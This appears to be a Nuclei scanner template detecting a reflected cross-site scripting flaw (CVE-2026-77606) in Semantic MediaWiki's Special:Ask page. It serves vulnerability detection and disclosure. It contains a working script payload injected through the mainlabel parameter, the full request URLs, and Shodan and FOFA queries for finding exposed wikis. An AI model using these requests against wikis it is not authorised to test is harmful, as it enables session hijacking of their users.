Semantic MediaWiki 7.1.0 and earlier contains a reflected cross-site scripting vulnerability in Special:Ask. With format=table and headers=plain, TableResultPrinter takes the column label as raw wikitext and HtmlTable writes it into the th element without escaping, so an unauthenticated attacker can inject arbitrary HTML and script through the mainlabel parameter.
id: CVE-2026-77606
info:
name: Semantic MediaWiki <= 7.1.0 - Cross-Site Scripting
author: s4e-io
severity: medium
description: |
Semantic MediaWiki 7.1.0 and earlier contains a reflected cross-site scripting vulnerability in Special:Ask. With format=table and headers=plain, TableResultPrinter takes the column label as raw wikitext and HtmlTable writes it into the th element without escaping, so an unauthenticated attacker can inject arbitrary HTML and script through the mainlabel parameter.
impact: |
Attackers can execute arbitrary JavaScript in the browser of a user who opens a crafted link, in the context of the wiki origin, and act with that user's session.
remediation: |
Update Semantic MediaWiki to 7.2.0 or later.
reference:
- https://github.com/SemanticMediaWiki/SemanticMediaWiki/security/advisories/GHSA-3jp5-3h47-28qf
- https://github.com/SemanticMediaWiki/SemanticMediaWiki/commit/464e44441bc137f6a012c850353a3e3fd8be6c08
- https://github.com/SemanticMediaWiki/SemanticMediaWiki/releases/tag/7.2.0
- https://nvd.nist.gov/vuln/detail/CVE-2026-77606
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2026-77606
epss-score: 0.00475
epss-percentile: 0.33377
cwe-id: CWE-79
metadata:
verified: true
max-request: 2
vendor: semantic-mediawiki
product: semantic_mediawiki
shodan-query: http.html:"Powered by Semantic MediaWiki"
fofa-query: body="Powered by Semantic MediaWiki"
tags: cve,cve2026,mediawiki,semantic-mediawiki,xss
variables:
payload: "<script>alert(document.domain)</script>"
http:
- method: GET
path:
- "{{BaseURL}}/index.php?title=Special:Ask&q=%5B%5BProperty%3A%2B%5D%5D&p%5Bformat%5D=table&p%5Bheaders%5D=plain&p%5Bmainlabel%5D={{url_encode(payload)}}&p%5Blimit%5D=1"
- "{{BaseURL}}/w/index.php?title=Special:Ask&q=%5B%5BProperty%3A%2B%5D%5D&p%5Bformat%5D=table&p%5Bheaders%5D=plain&p%5Bmainlabel%5D={{url_encode(payload)}}&p%5Blimit%5D=1"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "{{payload}}</th>"
- "smwtable"
- "smw-ask-result"
condition: and
- type: word
part: content_type
words:
- "text/html"
- type: status
status:
- 200
# digest: 490a00463044022036bd2d69795f72b6ec3280c7a2847f57693b75e397e2a987a8182bf05f89f7cc022076f69478df0f573572b697a0832ea9a775d4f8beecfc82e39ab02de7f9668c5f:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.